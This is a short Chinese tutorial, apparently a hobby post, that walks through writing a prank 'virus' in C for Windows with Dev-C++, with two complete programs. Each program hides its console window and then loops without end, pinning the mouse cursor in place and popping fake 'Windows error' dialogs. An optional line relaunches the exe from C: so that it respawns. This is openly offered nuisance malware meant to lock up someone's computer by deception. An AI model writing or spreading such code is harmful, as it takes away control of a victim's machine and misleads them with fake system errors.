我们将用dev++制作一个简易病毒。
先调用头文件:
#include <Windows.h>
#include<stdlib.h>
设置并隐藏窗口:
HWND hwnd;
ShowWindow(GetConsoleWindow(),SW_HIDE);
hwnd = FindWindow("ConsoleWindowClass", NULL);
开始恶搞(记着放进循环里):
设置鼠标位置:
SetCursorPos(1000, 600);
提示窗口:
MessageBox(NULL, "Windows错误", "提示", MB_OK | MB_ICONHAND);
有条件的话吧dev++生成的exe文件放在c盘(重复打开):
system("C:\\病毒.exe");
作者本人差点挂了...
完整程序(1):
#include <Windows.h>
#include<stdlib.h>
int main() {
HWND hwnd;
ShowWindow(GetConsoleWindow(),SW_HIDE);
hwnd = FindWindow("ConsoleWindowClass", NULL);
while (1) {
SetCursorPos(1000, 600);
MessageBox(NULL, "Windows错误", "提示", MB_OK | MB_ICONHAND);
//system("C:\\病毒.exe");
}
return 0;
}
完整程序(2):
#include <Windows.h>
#include<stdlib.h>
int main() {
HWND hwnd;
ShowWindow(GetConsoleWindow(), SW_HIDE);
hwnd = FindWindow("ConsoleWindowClass", NULL);
if (MessageBox(NULL, "此exe好像有问题...打开吗?", "提示", MB_YESNO | MB_ICONEXCLAMATION) == IDYES) {
while (1) {
SetCursorPos(1000, 600);
MessageBox(NULL, "Windows错误", "提示", MB_OK | MB_ICONHAND);
//system("C:\\病毒.exe");
}
}
return 0;
}